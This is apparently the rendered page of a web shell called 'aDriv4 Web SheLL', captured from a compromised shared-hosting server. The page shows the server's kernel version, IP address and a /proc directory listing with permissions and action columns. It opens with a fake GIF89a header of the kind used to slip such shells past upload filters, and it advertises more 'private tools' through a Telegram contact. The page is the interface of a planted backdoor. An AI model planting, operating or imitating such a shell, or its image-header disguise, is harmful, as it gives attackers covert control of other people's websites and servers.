GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium87.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 162.213.251.229
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-06 08:56:38
.. dir - root/root 0755 2025-08-02 08:58:57
3114162 dir - contaaly/contaaly 0555 2025-12-08 11:31:24
3851081 dir - contaaly/contaaly 0555 2025-12-08 11:31:28
3855144 dir - contaaly/contaaly 0555 2025-12-08 11:32:08
3860346 dir - contaaly/contaaly 0555 2025-12-08 11:33:00
3860347 dir - contaaly/contaaly 0555 2025-12-08 11:33:00
3860348 dir - contaaly/contaaly 0555 2025-12-08 11:33:00
3860349 dir - contaaly/contaaly 0555 2025-12-08 11:33:00
3860350 dir - contaaly/contaaly 0555 2025-12-08 11:33:00
3860351 dir - contaaly/contaaly 0555 2025-12-08 11:33:00
3860353 dir - contaaly/contaaly 0555 2025-12-08 11:33:00
3860367 dir - contaaly/contaaly 0555 2025-12-08 11:33:00
3860368 dir - contaaly/contaaly 0555 2025-12-08 11:33:00
acpi dir - root/root 0555 2025-06-06 12:56:41
bus dir - root/root 0555 2025-06-06 12:56:50
driver dir - root/root 0555 2025-12-08 11:33:00
fs dir - root/root 0555 2025-06-06 12:56:50
irq dir - root/root 0555 2025-06-06 12:56:50
kcare dir - root/root 0555 2025-12-08 11:33:00
lve dir - root/root 0555 2025-12-08 11:31:29
net link - contaaly/contaaly 0555 2025-12-08 11:33:00
scsi dir - root/root 0555 2025-06-06 12:56:50
self link - contaaly/contaaly 0555 2025-12-08 11:33:00
sys dir - root/root 0555 2025-06-06 12:56:41
sysvipc dir - root/root 0555 2025-12-08 11:33:00
thread-self link - contaaly/contaaly 0555 2025-12-08 11:33:00
tty dir - root/root 0555 2025-12-08 11:31:29
buddyinfo 0 B root/root 0444 2025-12-08 11:33:00
cgroups 0 B root/root 0444 2025-12-08 11:33:00
cmdline text/plain 0 B root/root 0444 2025-12-08 11:32:54
consoles 0 B root/root 0444 2025-12-08 11:33:00
cpuinfo text/plain 0 B root/root 0444 2025-12-08 11:31:29
crypto 0 B root/root 0444 2025-12-08 11:33:00
devices 0 B root/root 0444 2025-12-08 11:33:00
diskstats 0 B root/root 0444 2025-12-08 11:31:29
dma 0 B root/root 0444 2025-12-08 11:33:00
execdomains 0 B root/root 0444 2025-12-08 11:33:00
fb 0 B root/root 0444 2025-12-08 11:33:00
filesystems text/plain 0 B root/root 0444 2025-12-08 11:31:24
interrupts 0 B root/root 0444 2025-12-08 11:33:00
iomem 0 B root/root 0444 2025-12-08 11:33:00
ioports 0 B root/root 0444 2025-12-08 11:33:00
kallsyms 0 B root/root 0444 2025-06-06 12:56:50
kcore 128 TB root/root 0400 2025-06-06 12:56:41
key-users 0 B root/root 0444 2025-12-08 11:33:00
keys 0 B root/root 0444 2025-12-08 11:33:00
kmsg 0 B root/root 0400 2025-12-08 11:33:00
kpagecgroup 0 B root/root 0400 2025-12-08 11:33:00
kpagecount 0 B root/root 0400 2025-12-08 11:33:00
kpageflags 0 B root/root 0400 2025-12-08 11:33:00
loadavg text/plain 0 B root/root 0444 2025-12-08 11:32:54
locks 0 B root/root 0444 2025-12-08 11:33:00
mdstat 0 B root/root 0444 2025-12-08 11:33:00
meminfo text/plain 0 B root/root 0444 2025-12-08 11:31:24
misc 0 B root/root 0444 2025-12-08 11:33:00
modules 0 B root/root 0444 2025-12-08 11:33:00
mounts text/plain 0 B contaaly/contaaly 0444 2025-12-08 11:33:00
mtrr 0 B root/root 0644 2025-06-06 12:56:50
pagetypeinfo 0 B root/root 0400 2025-12-08 11:33:00
partitions 0 B root/root 0444 2025-12-08 11:33:00
sched_debug 0 B root/root 0444 2025-12-08 11:33:00
schedstat 0 B root/root 0444 2025-12-08 11:33:00
slabinfo 0 B root/root 0400 2025-12-08 11:33:00
softirqs 0 B root/root 0444 2025-12-08 11:33:00
stat text/plain 0 B root/root 0444 2025-12-08 11:31:24
swaps 0 B root/root 0444 2025-06-06 08:56:39
sysrq-trigger 0 B root/root 0200 2025-06-06 12:56:50
timer_list 0 B root/root 0400 2025-12-08 11:33:00
uptime text/plain 0 B root/root 0444 2025-12-08 11:31:24
version text/plain 0 B root/root 0444 2025-12-08 11:33:00
vmallocinfo 0 B root/root 0400 2025-12-08 11:33:00
vmstat 0 B root/root 0444 2025-12-08 11:33:00
zoneinfo 0 B root/root 0444 2025-12-08 11:33:00
© aDriv4